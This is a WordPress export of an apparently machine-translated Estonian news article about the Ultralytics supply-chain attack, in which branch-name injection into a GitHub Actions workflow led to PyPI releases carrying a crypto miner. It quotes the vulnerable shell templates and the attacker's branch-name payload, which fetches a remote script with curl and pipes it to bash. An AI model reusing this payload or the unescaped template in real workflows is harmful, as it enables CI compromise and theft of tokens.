{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"GitHub Actions'i t\u00f6\u00f6tlemise viga viis Ultralytics'i pahatahtlike versioonide avaldamiseni.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
K\u00fcsimused suudsid k\u00e4ivitada koodi GitHub Actions t\u00f6\u00f6tleja \u00f5igustes Ultralytics'i Python teegi hoidlas, mida kasutatakse arvutin\u00e4gemise \u00fclesannete lahendamiseks, nagu objektide tuvastamine piltidel ja piltide segmentimine. P\u00e4rast hoidla juurde p\u00e4\u00e4semist avaldasid r\u00fcndajad PyPI kataloogis mitu uut Ultralytics'i v\u00e4ljaannet, milles olid kuritahtlikud muudatused kr\u00fcptovaluuta kaevandamiseks. Viimase kuu jooksul on Ultralytics'i teek PyPI kataloogist alla laaditud rohkem kui 6,4 miljonit korda. <\/p>\n
Repositooriumi kompromiteerimiseks kasutati paketi ultralytics-actions haavatavust, mida kasutatakse automatiseeritud t\u00f6\u00f6tlejate k\u00e4ivitamiseks m\u00e4\u00e4ratud toimingute tegemisel GitHubi repositooriumis GitHub Actionsi mehhanismi kaudu. Projekti ultralytics puhul seostati haavatav t\u00f6\u00f6tleja pull_request_target s\u00fcndmusega ja k\u00e4ivitati uute pull-requestide saabumisel. Eelk\u00f5ige kutsuti pull-requestide koodivormingu jaoks esile t\u00f6\u00f6tleja format.yml ja k\u00e4idi l\u00e4bi kood, mis oli m\u00e4\u00e4ratud action.yml faili jaotises «run», kus olid shell-k\u00e4skude \u0161abloonid: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name «${{ inputs.github_username }}» git config --global user.email «${{ inputs.github_email }}» <\/p>\n
Seega pandi shell-k\u00e4skudesse \u00f5igete ekraanistamiseks Git-haarangu nimi, mida mainiti pull-requestis. Tasub m\u00e4rkida, et augustis parandati ultralytics-actions pakendis juba sarnane haavatavus, mis oli seotud v\u00e4lise v\u00e4\u00e4rtuse kasutamisega echo funktsioonis: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}» <\/p>\n
Oma koodi k\u00e4itamise korraldamiseks GitHub Actions kontektis saatsid r\u00fcndajad pull-requesti ultralytics hoidlasse, m\u00e4\u00e4rates haru nimeks: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Seega, kui saabus pull-request, asendati koodi ridadega r\u00fcndajate m\u00e4\u00e4ratud string «$(…)», mis j\u00e4rgmisel k\u00e4ivitamisel viis koodi «curl -sSfL raw.githubusercontent.com\/…\/file.sh | bash».
<\/center> <\/p>\n
Koodi k\u00e4itamine GitHub Actions kontekstis v\u00f5ib kasutada juurdep\u00e4\u00e4sutokeni ja muid konfidentsiaalseid andmeid hankimiseks. Kuidas r\u00fcndajatel \u00f5nnestus k\u00e4ivitada oma kood GitHub Actions, pole veel selge, kuid arvatakse, et seda v\u00f5is v\u00f5imaldada publish.yml t\u00f6\u00f6tlemise muundamine (r\u00fcndajad eemaldasid konto kontrolli, millelt on lubatud avaldada versioone PyPI-s) ja GitHub Actioni ehitusvahe hoidla nakatamise tehnika kasutamine oma andmete sisestamiseks versiooni. <\/p>\n
Esimene pahatahtlik versioon Ultralytics 8.3.41 avaldati r\u00fcndajate poolt PyPI kataloogis 4. detsembril kell 23:51 (MSK) ja eemaldati j\u00e4rgmisel p\u00e4eval kell 12:15. Kell 15:47 avaldati veel \u00fcks versioon 8.3.42, mis eemaldati kell 16:47. Seega olid pahatahtlikud versioonid kokku saadaval alla laadimiseks umbes 13 tundi (\u00fchel p\u00e4eval registreeritakse PyPI-s umbes 250 000 ultralytics teegi allalaadimist). Versioonides 8.3.41 ja 8.3.42 oli kood, mis laadis v\u00e4lja v\u00e4liseid serverilt<\/a> XMRig komponent kr\u00fcptorahade kaevandamiseks. <\/p>\n
![\"GitHub](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n